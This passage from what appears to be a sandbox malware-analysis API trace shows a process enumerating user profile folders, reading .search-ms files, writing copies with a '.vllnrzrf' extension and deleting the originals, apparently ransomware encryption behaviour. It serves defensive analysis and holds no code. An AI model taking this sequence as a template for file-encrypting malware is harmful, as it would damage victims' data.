ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0117.553] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c0ae370) returned 1 [0117.560] CoUninitialize () Thread: id = 101 os_tid = 0x9b4 [0117.568] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.568] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1c08dd00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0117.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c08e160) returned 1 [0117.568] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", nBufferLength=0x105, lpBuffer=0x1c08dc50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent", lpFilePart=0x0) returned 0x24 [0117.568] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\", nBufferLength=0x105, lpBuffer=0x1c08dbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\", lpFilePart=0x0) returned 0x25 [0117.569] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent\\*.*", lpFindFileData=0x1c08de00 | out: lpFindFileData=0x1c08de00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0117.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c08e090) returned 1 [0117.577] CoUninitialize () Thread: id = 102 os_tid = 0x9e4 [0117.621] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.621] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1cd2df00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0117.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2e360) returned 1 [0117.622] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", nBufferLength=0x105, lpBuffer=0x1cd2de50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games", lpFilePart=0x0) returned 0x29 [0117.622] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", nBufferLength=0x105, lpBuffer=0x1cd2ddf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\", lpFilePart=0x0) returned 0x2a [0117.622] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\*.*", lpFindFileData=0x1cd2e000 | out: lpFindFileData=0x1cd2e000*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0117.622] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e050 | out: lpFindFileData=0x1cd2e050*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.622] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e050 | out: lpFindFileData=0x1cd2e050*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.622] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1cd2e050 | out: lpFindFileData=0x1cd2e050*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0117.623] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0117.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e2b0) returned 1 [0117.623] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2e270) returned 1 [0117.627] CoUninitialize () Thread: id = 103 os_tid = 0xabc [0117.653] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0117.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1c8fdce0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0117.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe140) returned 1 [0117.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", nBufferLength=0x105, lpBuffer=0x1c8fdc30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches", lpFilePart=0x0) returned 0x26 [0117.654] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", nBufferLength=0x105, lpBuffer=0x1c8fdbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpFilePart=0x0) returned 0x27 [0117.654] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*.*", lpFindFileData=0x1c8fdde0 | out: lpFindFileData=0x1c8fdde0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0117.655] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fde30 | out: lpFindFileData=0x1c8fde30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.655] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fde30 | out: lpFindFileData=0x1c8fde30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.655] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fde30 | out: lpFindFileData=0x1c8fde30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0117.655] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fde30 | out: lpFindFileData=0x1c8fde30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0117.655] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c8fde30 | out: lpFindFileData=0x1c8fde30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0117.655] FindClose (in: hFindFile=0x1a5787e0 | out: hFindFile=0x1a5787e0) returned 1 [0117.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe090) returned 1 [0117.656] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fe050) returned 1 [0117.657] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", lpFilePart=0x0) returned 0x3b [0117.657] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", lpFilePart=0x0) returned 0x3b [0117.660] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", lpFilePart=0x0) returned 0x3b [0117.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe030) returned 1 [0117.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0117.661] GetFileType (hFile=0x450) returned 0x1 [0117.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fdfa0) returned 1 [0117.661] GetFileType (hFile=0x450) returned 0x1 [0117.661] GetFileSize (in: hFile=0x450, lpFileSizeHigh=0x1c8fe1c8 | out: lpFileSizeHigh=0x1c8fe1c8*=0x0) returned 0xf8 [0117.661] ReadFile (in: hFile=0x450, lpBuffer=0x223f2a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c8fe0f8, lpOverlapped=0x0 | out: lpBuffer=0x223f2a0*, lpNumberOfBytesRead=0x1c8fe0f8*=0xf8, lpOverlapped=0x0) returned 1 [0117.662] CloseHandle (hObject=0x450) returned 1 [0117.665] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.vllnrzrf", lpFilePart=0x0) returned 0x44 [0117.665] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe030) returned 1 [0117.665] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0117.665] GetFileType (hFile=0x450) returned 0x1 [0117.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fdfa0) returned 1 [0117.666] GetFileType (hFile=0x450) returned 0x1 [0117.666] WriteFile (in: hFile=0x450, lpBuffer=0x2243eb0*, nNumberOfBytesToWrite=0x2f8, lpNumberOfBytesWritten=0x1c8fe008, lpOverlapped=0x0 | out: lpBuffer=0x2243eb0*, lpNumberOfBytesWritten=0x1c8fe008*=0x2f8, lpOverlapped=0x0) returned 1 [0117.666] CloseHandle (hObject=0x450) returned 1 [0117.668] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", lpFilePart=0x0) returned 0x3b [0117.668] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms", lpFilePart=0x0) returned 0x3b [0117.668] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms")) returned 0 [0118.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", lpFilePart=0x0) returned 0x42 [0118.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", lpFilePart=0x0) returned 0x42 [0118.341] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", lpFilePart=0x0) returned 0x42 [0118.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe030) returned 1 [0118.341] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0118.347] GetFileType (hFile=0x450) returned 0x1 [0118.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fdfa0) returned 1 [0118.347] GetFileType (hFile=0x450) returned 0x1 [0118.347] GetFileSize (in: hFile=0x450, lpFileSizeHigh=0x1c8fe1c8 | out: lpFileSizeHigh=0x1c8fe1c8*=0x0) returned 0xf8 [0118.347] ReadFile (in: hFile=0x450, lpBuffer=0x22462a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1c8fe0f8, lpOverlapped=0x0 | out: lpBuffer=0x22462a0*, lpNumberOfBytesRead=0x1c8fe0f8*=0xf8, lpOverlapped=0x0) returned 1 [0118.378] CloseHandle (hObject=0x450) returned 1 [0118.381] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms.vllnrzrf", lpFilePart=0x0) returned 0x4b [0118.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8fe030) returned 1 [0118.381] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x450 [0118.382] GetFileType (hFile=0x450) returned 0x1 [0118.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8fdfa0) returned 1 [0118.382] GetFileType (hFile=0x450) returned 0x1 [0118.382] WriteFile (in: hFile=0x450, lpBuffer=0x224aec8*, nNumberOfBytesToWrite=0x2f8, lpNumberOfBytesWritten=0x1c8fe008, lpOverlapped=0x0 | out: lpBuffer=0x224aec8*, lpNumberOfBytesWritten=0x1c8fe008*=0x2f8, lpOverlapped=0x0) returned 1 [0118.384] CloseHandle (hObject=0x450) returned 1 [0118.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", lpFilePart=0x0) returned 0x42 [0118.388] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", nBufferLength=0x105, lpBuffer=0x1c8fdcf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms", lpFilePart=0x0) returned 0x42 [0118.388] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms")) returned 0 [0118.391] CoUninitialize () Thread: id = 104 os_tid = 0xa04 [0118.555] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.139] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1c87dcc0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0119.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c87e120) returned 1 [0119.139] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", nBufferLength=0x105, lpBuffer=0x1c87dc10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo", lpFilePart=0x0) returned 0x24 [0119.139] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\", nBufferLength=0x105, lpBuffer=0x1c87dbb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\", lpFilePart=0x0) returned 0x25 [0119.139] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*.*", lpFindFileData=0x1c87ddc0 | out: lpFindFileData=0x1c87ddc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0119.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c87e050) returned 1 [0119.156] CoUninitialize () Thread: id = 105 os_tid = 0x600 [0119.309] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1cd2db80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0119.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1cd2dfe0) returned 1 [0119.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", nBufferLength=0x105, lpBuffer=0x1cd2dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu", lpFilePart=0x0) returned 0x28 [0119.310] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\", nBufferLength=0x105, lpBuffer=0x1cd2da70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\", lpFilePart=0x0) returned 0x29 [0119.310] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*.*", lpFindFileData=0x1cd2dc80 | out: lpFindFileData=0x1cd2dc80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0119.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1cd2df10) returned 1 [0119.359] CoUninitialize () Thread: id = 106 os_tid = 0x644 [0119.370] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1c8dea60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0119.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c8deec0) returned 1 [0119.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", nBufferLength=0x105, lpBuffer=0x1c8de9b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates", lpFilePart=0x0) returned 0x27 [0119.371] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\", nBufferLength=0x105, lpBuffer=0x1c8de950, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\", lpFilePart=0x0) returned 0x28 [0119.371] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*.*", lpFindFileData=0x1c8deb60 | out: lpFindFileData=0x1c8deb60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0119.372] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1c8dedf0) returned 1 [0119.379] CoUninitialize () Thread: id = 107 os_tid = 0xb18 [0119.391] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1c0ee900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0119.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1c0eed60) returned 1 [0119.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", nBufferLength=0x105, lpBuffer=0x1c0ee850, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos", lpFilePart=0x0) returned 0x24 [0119.392] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", nBufferLength=0x105, lpBuffer=0x1c0ee7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\", lpFilePart=0x0) returned 0x25 [0119.392] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.*", lpFindFileData=0x1c0eea00 | out: lpFindFileData=0x1c0eea00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xab4acb90, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab4acb90, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a5787e0 [0119.392] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: lpFindFileData=0x1c0eea50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xab4acb90, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab4acb90, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.393] FindNextFileW (in: hFindFile=0x1a5787e0, lpFindFileData=0x1c0eea50 | out: 